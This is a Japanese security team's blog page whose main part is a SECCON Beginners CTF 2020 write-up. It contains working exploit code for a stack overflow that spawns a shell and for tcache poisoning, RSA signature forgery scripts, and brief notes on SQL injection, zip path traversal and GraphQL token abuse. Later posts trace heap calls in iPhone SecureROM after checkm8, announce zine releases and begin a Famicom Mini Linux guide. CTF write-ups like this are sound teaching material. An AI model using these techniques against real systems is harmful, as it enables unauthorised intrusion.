24 May 2020, 23:27

SECCON Beginners CTF 2020 Write-up

2020-05-23 14:00 - 2020-05-24 14:00 (JST)に開催されたSECCON Beginners CTF 2020のwrite-upです。

なお、今回は以下のメンバー編成で参加しました。

  • yuscarlet
  • mayth
  • yyu
  • favcastle

Pwn

Beginner’s Stack

Let’s learn how to abuse stack overflow!

64bit ELFのバイナリが与えられる。これがサーバーで動いている。

実行すると

Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffeb1443ac0 | 0x00007f30a003dfc8 | <-- buf
                   +--------------------+
0x00007ffeb1443ac8 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffeb1443ad0 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffeb1443ad8 | 0x00007f30a0078190 |
                   +--------------------+
0x00007ffeb1443ae0 | 0x00007ffeb1443af0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffeb1443ae8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffeb1443af0 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffeb1443af8 | 0x00007f309fe740b3 | <-- return address (main)
                   +--------------------+
0x00007ffeb1443b00 | 0x0000000100000001 |
                   +--------------------+
0x00007ffeb1443b08 | 0x00007ffeb1443be8 |
                   +--------------------+

といった感じに目標と現時点のスタックフレームが示される親切設計となっている。ついでに目的のwin関数では、system("/bin/sh")を呼び出してくれる。つまりwin関数を呼べれば自動的にシェルが取れる。

さて、IDAで実行ファイルを見てみると、vulnという関数で入力を受け付けてbufに格納していることがわかる。このとき、buf0x20(32)byteしかない一方で、read関数を呼ぶときに入力サイズを0x200に設定していて、ここでスタックオーバーフローが発生する。これを使って"return address (vuln)“となっている箇所を書き換えればよい。飛び先となるwin関数のアドレスは分かっているし、“return address"までの長さも分かっているので、次のような入力を与える(エンディアンに注意)。

$ perl -e 'print "A"x40 . "\x61\x08\x40"' | ./chall

これは失敗する。

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

というわけで、rsp(スタックポインタ)が0x10の倍数になっていないといけない。スタックポインタは8byteずつ動くので、push/popが呼び出される回数を1回増やすか減らすかする。

win関数があるという0x400861だが、これは関数の先頭、すなわちpush rbpを指している。これによってズレているのだとすれば、この命令を飛ばせばよいはずである。push rbpの直後の0x400862を書き込むようにする。

$ perl -e 'print "A"x40 . "\x62\x08\x40"' | ./chall
...
Congratulations!

祝福されたものの即座に終了してしまう。試しにncで実際の問題サーバーに投げ込んでも、同様に応答が返ってこなくなる。これで1時間以上は潰していたのだが、神の助言によってstraceをしてみると、どうもsystem("/bin/sh")は呼べているがttyが取れなくて死んでいるようだった。

どうしたものか悩んだところで、そういえばpwntoolsにinteractiveとかいうメソッド生えてなかったっけ、これでttyの代わりにならんか、と思い出してpwntoolsを使ってみる。

1
2
3
4
5
6
7
8
9
from pwn import *

context.arch = 'amd64'

io = process('chall')

vuln_ret = pack(0x400862)
io.sendline(b'A' * 40 + vuln_ret)
io.interactive()

これを実行すると無事に対話的にコマンドが打てるようになった。接続先を問題サーバーにして実行し、対話環境に入ったところでフラグをcatした。

Beginner’s Heap

この問題を解くにあたってはこちらの記事が大変参考になった: t-cache poisoning: FireShell CTF 2019 babyheap - ふるつき

さて、こちらはバイナリがない。ncで問題サーバーに繋ぐとこんな表示が現れる。

Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fe9b33978e8
 <win>: 0x56491d3be465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint

この対話環境を操作し、ヒープオーバーフローを使ってwin関数を呼び出すのが目標となる。なお、__free_hookwin関数のアドレスは毎回変化する(検証のために再実行を繰り返しているため、以下のコンソール出力の例示では__free_hookだとするアドレスが変化しているが、その辺りはよしなに読み替えてほしい)。

A0x18byteしかない一方で、1の操作で0x80byteまで書くことができる。Bにはオーバーフローの脆弱性はないが、2の操作でmallocして書き込み、3の操作でfreeができる。残りはヒープ状態の表示、tcacheの状態の表示、そしてヒントの表示である。

何はともあれヒントを見てみる。

Tcache manages freed chunks in linked lists by size.
Every list can keep up to 7 chunks.
A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.
Let's check what happens when you overwrite fd by Heap Overflow.

まず2でBをmallocして適当な値を書き込み、3でfreeする。この時点で4/5を実行すると次のような状態であることがわかる。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x558bbf3eb330
 [+] B = (nil)
                   +--------------------+
0x0000558bbf3eb320 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb328 | 0x0000000000000021 |
                   +--------------------+
0x0000558bbf3eb330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x0000558bbf3eb338 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb340 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb348 | 0x0000000000000021 |
                   +--------------------+
0x0000558bbf3eb350 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb358 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb360 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000558bbf3eb350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ヒントにあったfd0x0000558bbf3eb350(元々Bがあった場所)になっている。 この状態でmallocを行うと確保されたアドレスとして0x0000558bbf3eb350が返ってくるのだが、ヒープレイアウトを見てわかる通り、この領域はAのヒープオーバーフローによって書き換えられる。とりあえず目標の0x0000558bbf3eb350__free_hookのアドレスに書き換えてみる。先ほどの教訓を生かして最初からpwntoolsを使うことにした。

1
p.sendline(b'X' * 0x20 + p64(free_hook_addr))

これでヒントを見るとチャンクサイズが壊れているか大きすぎると言われる。

It seems __free_hook is successfully linked to tcache!
But the chunk size is broken or too big maybe...?
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000556bb204b350(rw-) ]
        ||
        \/
[ 0x00007fe2b3efe8e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

fdの直前8byteがチャンクサイズなのだが、先ほどの入力では0x5858585858585858になっている。これを適当に0x20にするとヒントが変わる。

1
2
p.sendlineafter("> ", '1')
p.sendline(b'X' * 0x18 + p64(0x20) + p64(free_hook_addr))
It seems __free_hook is successfully linked to tcache!
But you can't get __free_hook since you can only malloc/free B.
What if you change the chunk size to a value other than 0x20...?

あまりに大きすぎると先ほどのように壊れていると言われるので、0x30にすると次の段階になった。

It seems __free_hook is successfully linked to tcache!
And the chunk size is properly forged!

ここでもう一度Bmallocと書き込みを行う。ここで書き込む内容はなんでもよい。

1
2
p.sendlineafter("> ", '2')
p.sendline(b'X' * 0x10)

この段階でのヒントはこんな感じ。

It seems __free_hook is successfully linked to tcache!
The first link of tcache is __free_hook!
But B is not empty...

Bfreeして空にしてみる。

It seems __free_hook is successfully linked to tcache!
The first link of tcache is __free_hook!
Also B is empty! You know what to do, right?

ここでtcacheの状態を見てみると、Bfreeしたのにここに追加されておらず、__free_hookのアドレスだけが残っていることがわかる。

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00007fc20362c8e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

最初のヒントには以下の記載があった。

Tcache manages freed chunks in linked lists by size.

また、冒頭に挙げた記事にも次の記載がある。

定数TCACHE_MAX_BINSはデフォルトでは64になっていて、キャッシュされるサイズは0x18, 0x28, 0x38, …, 0x408バイト以下というように区切られています。

つまり、先ほどチャンクサイズを0x30ということにしたため、今mallocしてfreeしたBはtcacheの別のリストに追加された、ということだと思う(たぶん)。

さて、この状態になると次のmallocでは__free_hookのアドレスが返ってくる。__free_hookfreeしたときに呼び出される関数へのポインタである。したがって、今mallocして返ってきた領域にwin関数のアドレスを書き込んでfreeを呼ぶと、代わりにwin関数が呼び出される。最後に出力を表示するのを忘れずに。

1
2
3
4
5
6
p.sendlineafter('> ', '2')
p.sendline(pack(win_addr))

p.sendlineafter('> ', '3')

log.info(p.recvline_contains("ctf4b"))

Crypto

R&B

先頭の文字を見て、Bならbase64decode、RならROT13decodeを繰り返す。

Noisy equations

下記のPythonプログラムが動いている。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

この変数FLAGの内容を知ることができればOKという問題。 answersが表示されているが、これには乱数getrandbits(L)が加算されているので、 2回分のデータを使っていくという方法がある。 いま1回目の結果得られたcoeffsを\(C_1\)、そして2回目を\(C_2\)とすると、 これらは次のような行列である。

$$ \begin{align*} C_1 &= \left[ \begin{array}{cccc} c^1_{1,1} & c^1_{1,2} & \dots & c^1_{1,44} \\
\vdots & \ddots & & \vdots \\
\vdots & & \ddots & \vdots \\
c^1_{44,1} & c^1_{44,2} & \dots & c^1{44,44} \end{array} \right] \\
\\
C_2 &= \left[ \begin{array}{cccc} c^2_{1,1} & c^2_{1,2} & \dots & c^2_{1,44} \\
\vdots & \ddots & & \vdots \\
\vdots & & \ddots & \vdots \\
c^2_{44,1} & c^2_{44,2} & \dots & c^2_{44,44} \end{array} \right] \end{align*} $$

そしてanswerは1回目を\(A_1\)、そして2回目を\(A_2\)とすると次のようになる。

$$ \begin{align*} A_1 &= \left[ \begin{array}{c} a^1_{1} \\
\vdots \\
a^1_{44} \end{array} \right] \\
\\
A_2 &= \left[ \begin{array}{c} a^2_{1} \\
\vdots \\
a^2_{44} \end{array} \right] \end{align*} $$

ここで\(a^1_{i} - a^2_{i}\)について考える。求めたいFLAGの1文字目から\(x_1, \dots, x_{44}\)とすると、

$$ a^1_{i} = \left(\sum^{44}_{j=1}{C^1_{i,j} \times x_j}\right) + R_i $$

であり、この\(R_i\)はgetrandbits(L)だがPythonプログラムを見ると、シードを固定しているため、 どんな値なのかよく分からないが毎回同じ結果になる。 したがって、\(a^1_{i} - a^2_{i}\)は次のように\(R_i\)がキャンセルされる。

$$ a^1_{i} - a^2_{i} = \left(\sum^{44}_{j=1}{C^1_{i,j} \times x_j}\right) - \left(\sum^{44}_{j=1}{C^2_{i,j} \times x_j}\right) $$

したがってこれを行列表現すると

$$ \left[ \begin{array}{c} a^1_{1} - a^2_{1} \\
\vdots \\
a^1_{44} - a^2_{44} \end{array} \right] = \left[ \begin{array}{cccc} c^1_{1,1} - c^2_{1,1} & c^1_{1,2} - c^2_{1,2} & \dots & c^1_{1,44} - c^2_{1,44} \\
\vdots & \ddots & & \vdots \\
\vdots & & \ddots & \vdots \\
c^1_{44,1} - c^2_{44,1} & c^1_{44,2} - c^2_{44,2} & \dots & c^1_{44,44} - c^2_{44,44} \end{array} \right] \left[ \begin{array}{c} x_{1} \\
\vdots \\
x_{44} \end{array} \right] $$

したがってあとは\(C_1 - C_2\)の逆行列からFLAGを得られる。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import json
import numpy as np
from numpy.linalg import inv

stream = os.popen("nc noisy-equations.quals.beginners.seccon.jp 3000")

coeffs1 = json.loads(stream.readline())
answer1 = json.loads(stream.readline())

stream2 = os.popen("nc noisy-equations.quals.beginners.seccon.jp 3000")

coeffs2 = json.loads(stream2.readline())
answer2 = json.loads(stream2.readline())

coeff_diffs =np.matrix(
    [ [ c1 - c2 for (c1, c2) in zip(c1s, c2s) ] for (c1s, c2s) in zip(coeffs1, coeffs2)  ],
    dtype = 'float'
)

answer_diffs = np.transpose(
        np.matrix(
            [ a1 - a2 for (a1, a2) in zip(answer1, answer2) ],
            dtype = 'float'
        )
)

coeff_diffs_inv = inv(
    np.matrix(coeff_diffs, dtype = 'float')
)
flag = np.transpose(np.linalg.solve(coeff_diffs, answer_diffs))

flag_int = np.around(flag).astype(int).tolist()[0]

print(flag)

print( "".join([ chr(i) for i in flag_int ]) )

RSA Calc

下記のようなプログラムが動いている。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except:
            sys.stdout.write('Error\n')
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

Fまたは1337を含まないならば、任意の文字列に署名してくれる。そしてスタック署名されたスタックマシンの命令列を実行し、狙ったところに入れる(そのためにF1337が必要)ことができればフラグが入手できる。 RSAの準同型性を利用した。端的にいうと、いまRSAのパラメーターとして\(N, e, d\)と、任意の平文\(m_1, m_2\)があるとして、RSAは次がなりたつ。

$$ \text{Sign}_{d, N}(m_1 \times m_2) \equiv \text{Sign}_{d, N}(m_1) \times \text{Sign}_{d, N}(m_2) \bmod N $$

よって次のようなプランでアタックする。

  1. \(2\)に署名させる
  2. \(\frac{\mathtt{1337,F}}{2}\)した値に署名させる
    • 偶然1337,Fの数値表現は\(2\)で割り切ることができた
  3. 上記2つの署名をかけ算して\(N\)で割った余りをとる
    • これが1337,Fの署名となっている
  4. 1337,Fを実行し、署名として(3)で得られたものを入れる

これをやるのが下記のプログラムである。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import numpy as np
import re
import socket
from Crypto.Util.number import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("rsacalc.quals.beginners.seccon.jp", 10001))
data = s.recv(4096).decode("utf-8")
data_n = re.search('N: (\d+)\n', data).group(1)

N = int(data_n)

print("N: " + str(N))

command = bytes_to_long(b'1337,F')
half_command = int(command / 2)

print("command: " + str(command))

# Get `2` signature
s.sendall(b'1\n')
print(s.recv(1024).decode("utf-8"))

s.sendall(b'\02\n')

signature_2 = int(
    re.search('Signature: ([\da-f]+)', s.recv(4096).decode("utf-8")).group(1),
    16
)

print("signature_2: " + str(signature_2))

# Get `half_command` signature
s.sendall(b'1\n')
print(s.recv(1024).decode("utf-8"))

s.sendall(
    half_command.to_bytes((half_command.bit_length() + 7) , byteorder='big', signed=False) + b'\n'
)

signature_half_command = int(
    re.search('Signature: ([\da-f]+)', s.recv(4096).decode("utf-8")).group(1),
    16
)

print("signature half command: " + str(signature_half_command))

# Calculate signature
signature_command = signature_half_command * signature_2 % N

print("GOOOOOOOOOOOOOOOOOO")

# Execute command
s.sendall(b'2\n')
print(s.recv(1024).decode("utf-8"))
s.sendall(b'1337,F\n')
print(s.recv(1024).decode("utf-8"))
sig = (format(signature_command, 'x')).encode("ascii")

s.sendall(sig + b'\n\n')

print(s.recv(2024).decode("utf-8"))

Web

Spy

ユーザの有無でサーバの応答時間が変わるので、全ユーザー試して列挙。

Tweetstore

SQLインジェクションでユーザ情報を表示する。

unzip

解凍後に../../../../../../../../../flag.txtを展開するzipをアップロード。

profiler

Burp Suiteで通信を覗くと、APIでGraphQLが使われていることがわかる。 AltairというChrome拡張機能でGraphQLのクエリを送ることができる。 利用できそうなAPIを探すと、他の人のprofileが覗けそうなsomeoneとトークンをアップデートできそうなupdateTokenが見つかる。 someoneでuid:adminを指定してリクエストすると、adminのTokenが参照できる。 ここで手に入れた値をupdateTokenで指定すると、自分のTokenがadminと同じトークンに変更できる。 この状態でflagページにアクセスすると、flagが表示される。

Reversing

mask

Ghidraに食わせると、flagの各文字を& 0x75した文字列と& 0xebした文字列が見つかるので、これらの論理和を計算。

yakisoba

Ghidraに食わせると、flagの各文字を判定する関数が見つかるので、読む。

ghost

実装が与えられているので、総当たり。

Misc

Welcome

Discordを見る。

emoemoencode

絵文字の文字コードの下2桁をasciiにする。

readme

/proc/self/environでpwdが/home/ctf/serverとわかるので、/proc/self/cwd/../flagを渡し、相対パスでアクセス。

29 Dec 2019, 21:54

SecureROMのmalloc/free追跡

概要

axi0mX氏のcheckm8公開により、広く一般にSecureROM(iPhone/iPadのブートローダー)の動的解析が可能になった。SecureROMのヒープレイアウトへの理解を深める為にヒープ関連処理を解析し、その一環としてSecureROM開始時からDFUモード起動完了までの間に発生するmalloc/freeの呼び出しをデバッガーで追跡したので、研究用として記事に残す。

C97でもこの記事のコピ本を頒布予定(火曜日 南地区 リ-04b)で、間に合えば細かい話を加筆する。

関連記事

checkm8の解説ではa1exdandy氏による次の記事が非常によくまとまっている。

Technical analysis of the checkm8 exploit

上の記事でもヒープの確保シーケンスについて静的解析に基づいた解説があるが、この記事の動的解析でも上の記事と近い結果が得られた。

検証環境

  • iPhone 7 (A1779)
  • Bonobo JTAG/SWD Debug Cable
  • ipwndfu
    • Matthew Pierson氏によるfork版
    • commit bb3c1d618f96ce96956089823f396b777b4c46acに一部変更を加えたもの

調査手順

checkm8(ipwndfu)を使用してiPhone 7(ターゲット)からSecureROMを読み出しGhidraで解析した。解析によりいわゆるmalloc, free, memalignと思われる3関数のアドレスを特定した。

ipwndfuを使用してターゲットのSWDを有効化(demote)し、Bonobo JTAG/SWD Debug Cableを使用してgdbでターゲットにアタッチした。

SecureROM開始直後から実行を追跡するにはターゲットをリセットする必要があるが、通常の手順でターゲットをリセットすると、リセットによりdemotionの状態が初期化されてSWDが無効になり追跡できなくなる。このため、今回はdemote後にターゲットをreset vectorへジャンプさせてもう一度最初から起動処理を行わせて追跡した。Reset vectorへのジャンプ前に予めmalloc, free, memalignへハードウェアブレークポイントを張っておいて、それぞれへの呼び出しを監視・記録した。

追跡結果

備考

この章では、iPhone 7の実機から読みだした情報を引用する。この章で引用するメモリダンプのベースはDFUモード起動完了直後のもので、ベースは0x180000000である。

一覧

次の書式でalloc, free, memalignの呼び出しの遷移を記す。

呼び出し元アドレス : 関数名(引数) => 返り値

000000010000f858 : free(0x00000001801b4080)
000000010000edd0 : alloc(48)                    => 0x00000001801b4080
000000010000ede0 : alloc(256)                   => 0x00000001801b4100
0000000100011548 : alloc(4000)                  => 0x00000001801b4240
00000001000115d0 : free(0x00000001801b4240)
000000010000f124 : alloc(512)                   => 0x00000001801b4240
000000010000d10c : alloc(234)                   => 0x00000001801b4480
000000010000d10c : alloc(22)                    => 0x00000001801b45c0
000000010000d10c : alloc(62)                    => 0x00000001801b4640
000000010000d10c : alloc(198)                   => 0x00000001801b46c0
000000010000d10c : alloc(62)                    => 0x00000001801b4800
000000010000a9e0 : alloc(960)                   => 0x00000001801b4880
000000010000a9f0 : alloc(16384)                 => 0x00000001801b4c80
000000010000df08 : memalign(2048, 0x00000040)   => 0x00000001801b8d00
000000010000d2a4 : alloc(25)                    => 0x00000001801b9540
000000010000d2b4 : alloc(25)                    => 0x00000001801b95c0

メモ

000000010000f858 : free(0x00000001801b4080)

このfreeは不要領域の解放のためではなく、ヒープの初期化時に使用可能な領域をリストに登録するためのもの。

ヒープのベースは0x1801b4000で、空ブロック1つ(長さ0x40)と、追加しようとしているブロック自身のメタデータ(長さ0x40)が先行して配置されるため、ベース + 0x80が追加する領域の(データ部分の)オフセットになる。空ブロックは後方にも配置される。

000000010000edd0 : alloc(48) => 0x00000001801b4080

役割不明のバッファー。

000000010000ede0 : alloc(256) => 0x00000001801b4100

役割不明のバッファー。

0000000100011548 : alloc(4000) => 0x00000001801b4240

役割不明のバッファー。

00000001000115d0 : free(0x00000001801b4240)

直前で確保した長さ4000のバッファーを解放。

000000010000f124 : alloc(512) => 0x00000001801b4240

役割不明のバッファー。

メモリの内容を確認すると、先頭に”host bridge”とのASCII文字列が書き込まれている。

001b4240  68 6f 73 74 20 62 72 69  64 67 65 00 00 00 00 00  |host bridge.....|
001b4250  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
001b4310  0c 16 00 00 01 00 00 00  6c 16 00 00 01 00 00 00  |........l.......|
001b4320  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 c0  |................|
001b4330  00 00 00 02 00 00 00 00  00 00 00 00 00 00 00 00  |................|
001b4340  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
001b4440

000000010000d10c : alloc(234) => 0x00000001801b4480

USBのString Descriptor (Descriptor Index = 1)

ApNonceとSEPNonceをHostに通知するためのもの。ASCII文字による16進表記かつ1文字あたり2バイトで表現するのでApNonceとSEPNonceの情報量に比してサイズが大きい。

これ以降の追跡結果はa1exdandy氏の記事の解析結果と概ね一致する。

000000010000d10c : alloc(22) => 0x00000001801b45c0

USBのString Descriptor (Manufacturer)

000000010000d10c : alloc(62) => 0x00000001801b4640

USBのString Descriptor (Product)

000000010000d10c : alloc(198) => 0x00000001801b46c0

USBのString Descriptor (Serial Number)

DFUモードではここにハードウェアとソフトウェアのバージョンや設定情報を詰め込むので長い。

000000010000d10c : alloc(62) => 0x00000001801b4800

USBのString Descriptor (Configuration)

000000010000a9e0 : alloc(960) => 0x00000001801b4880

USBコントローラーを制御するタスクのタスク構造体。

000000010000a9f0 : alloc(16384) => 0x00000001801b4c80

USBコントローラーを制御するタスクのタスクスタック。

ここの確保サイズはa1exdandy氏の記事と異なる。a1exdandy氏の記事では確保サイズが0x1000となっているのに対して、今回実機で確認できた確保サイズは0x4000(16384)だった。呼び出し箇所の周辺を調べるとmax(0x1000, 0x4000)の比較結果を確保サイズとしていた。

000000010000df08 : memalign(2048, 0x00000040) => 0x00000001801b8d00

USBの入出力用バッファー。

000000010000d2a4 : alloc(25) => 0x00000001801b9540

USBのConfiguration Descriptor

a1exdandy氏の記事によればこちらがHigh-Speed用のdescriptorとのこと。書き込まれるデータは後述のFull-Speed用descriptorと同一。

ipwndfu/src/checkm8_arm64.S内のgUSBDescriptorsは、ここで確保されたバッファーへのポインターを指す。

00088a30  40 95 1b 80 01 00 00 00  c0 95 1b 80 01 00 00 00  |@...............|

000000010000d2b4 : alloc(25) => 0x00000001801b95c0

USBのConfiguration Descriptor

a1exdandy氏の記事によればこちらがFull-Speed用のdescriptorとのこと。

備考

今回はreset vectorにジャンプすることでwarm reset(的な操作)を施してSecureROMを開始直後から追跡したが、warm reset時の状態は通常起動時と異なるため、通常起動時と挙動が一致するかどうかは不明。ただし、warm reset後でもcheckm8が成功することは確認できた。

編集履歴

2019/12/31

USB関連の記述に誤りがあったため訂正した。

25 Dec 2018, 18:03

C95参加と新刊のお知らせ

C95(2018年冬コミ)に当選してました。 スペースは 2日目 東6 ト44b です。 新刊“urandom vol.7”を出します。

次の画像をクリックすると本文サンプルが見えます。

c95 sample

urandom vol.7は次の内容になります。

  • SECCON2018 国際大会決勝参戦記 (by urandom)
  • 展開署名: Folding Signatureの進捗 (by yyu)

ページ数は本文30pとなっております。頒布価格は300円の予定です。

それでは会場でお会いしましょう。

05 Aug 2018, 22:13

C94参加と新刊のお知らせ

C94(2018年夏コミ)に当選してました。 スペースは 1日目 西1 む39b です。 新刊“urandom vol.6”を出します。

次の画像をクリックすると本文サンプルが見えます。

c94 sample

urandom vol.6は次の内容になります。

  • IoT機器のFW解析 -CBCTF2018予選問題 Odin解説- (by op)
  • 素因数分解ゲーム (by yyu)

ページ数は本文34pとなっております。頒布価格は300円の予定です。

それでは会場でお会いしましょう。

25 Dec 2017, 18:40

C93参加と新刊のお知らせ

C93(2017年冬コミ)に当選してました。 スペースは 1日目 東キ47a です1。 新刊“urandom vol.5”を出します。

次の画像をクリックすると本文サンプルが見えます。

c94 sample

urandom vol.5は次のような内容になります。

  • CBCTF2017問題解説 - One of Three Billion (by op)
  • Bitcoinによる公平なCTF (by yyu)

ページ数は本文34pとなっております。頒布価格は300円の予定です。

それでは会場でお会いしましょう。


  1. これまでは3日目でしたが、今回から1日目となりましたのでご注意ください。 ↩︎

08 Aug 2017, 02:03

C92参加と新刊のお知らせ

C92(2017年夏コミ)に当選してました。 スペースは 3日目 東イ-60b です。 新刊“urandom vol.4”と既刊“urandom vol.3”を出します。

c92 sample

urandom vol.4は次のような内容になります。

  • mitmproxy入門 (by op)
  • 公平なランサムウェアプロトコル (by yyu)

ページ数は本文34pとなっております。頒布価格は300円の予定です。

それでは会場でお会いしましょう。

28 Apr 2017, 21:15

超技術書典参加のお知らせ

ニコニコ超会議2017に併催の超技術書典に当選しました。スペースは 1日目 B-17 です。 C91に引き続き、“urandom vol.3”を頒布します。

頒布価格は300円です。それでは会場でお会いしましょう。

12 Mar 2017, 17:17

urandom vol.3電子版公開のお知らせ

urandom vol.3電子版

C91 Sample

C91の1ヶ月後に出すと告知しておいて、結局3月になってしまいましたが、urandom vol.3の電子版を公開しました。

urandom vol.3電子版は 128円 での販売となります。内容は物理書籍版とほぼ同じです。

販売ページはこちら(Gumroad)です。決済にはクレジットカードかPayPalが使えます。

物理書籍版購入者の方へ

購入ページに“Offer code”という欄がありますので、そちらに物理書籍挟み込みの紙に記載されたコードを入力してください。

  • コードを使用する場合、クレジットカード情報は不要です。正しいコードを入力すると入力欄が非表示になります。
  • 同一コードは10回まで使用可能です。ダウンロードしたデータを紛失した際は同一コードを入力してください。

13 Dec 2016, 01:30

C91 新刊のお知らせ

C91 Sample

表紙だよ! リンク先はサンプルのPDFだよ!(※サンプルにはカラー写真が含まれていますが、当日頒布する冊子はグレースケールです)

数多の困難を乗り越え、来るC91で頒布する新刊「urandom vol.3」の入稿が完了しました。

改めて告知しますと、スペースは 土曜日 東R-12b です(Webカタログ)。3日目だよ、大晦日だよ。

ページ数は本文64pと読みごたえ抜群の仕様となっております。頒布価格は300円です。

今回の記事は以下の3本です。

  • ファミコンミニとLinux - op
  • Secure Grouping Protocol Using Mental Poker - yyu
  • urandom出版技術部活動報告 - mayth

なお、今回既刊の頒布はありません。vol.1、vol.2は次の電子書籍をご利用ください。

vol.3の電子書籍版はコミックマーケット91の1ヶ月後を目処に配信予定です。

それでは、大晦日に会場でお会いしましょう。

14 Nov 2016, 20:01

ファミコンミニで自前のLinuxカーネルを動かす手順

はじめに

ファミコンミニ自体の権利表記画面や任天堂Webサイトで配布されているOSSソースコードからも分かるように、ファミコンミニの中で動いているのはU-bootで起動されたLinuxです。なので、ファミコンミニを適切に初期化した上で、適切にビルドしたLinuxカーネルを流しこめば、ファミコンミニ上で自前のLinuxを動かせます。U-boot(GPLv2)とLinux(GPLv2)のソースコードを読解・ビルドして自前のLinuxを起動したので、手順を書きます。

注意

この記事の内容を実践すると、製品保証が無効になったり、故障に繋がる可能性があります。内容を理解できる人が自己責任で行って下さい。

事前準備

手順

  1. U-boot, 起動イメージの取得

    1. シリアルコンソールで s キーを押しながらファミコンミニを起動して、U-bootのシェルに入ります。

    2. シリアルコンソールで以下のコマンドを実行して、内蔵フラッシュの先頭部分を読み出します。

      sunxi_flash phy_read 58000000 0 80
      

      読み出し先アドレス0x58000000とセクタ数0x80は、適当な使ってなさそうな所と長さなので、必然性はありません。

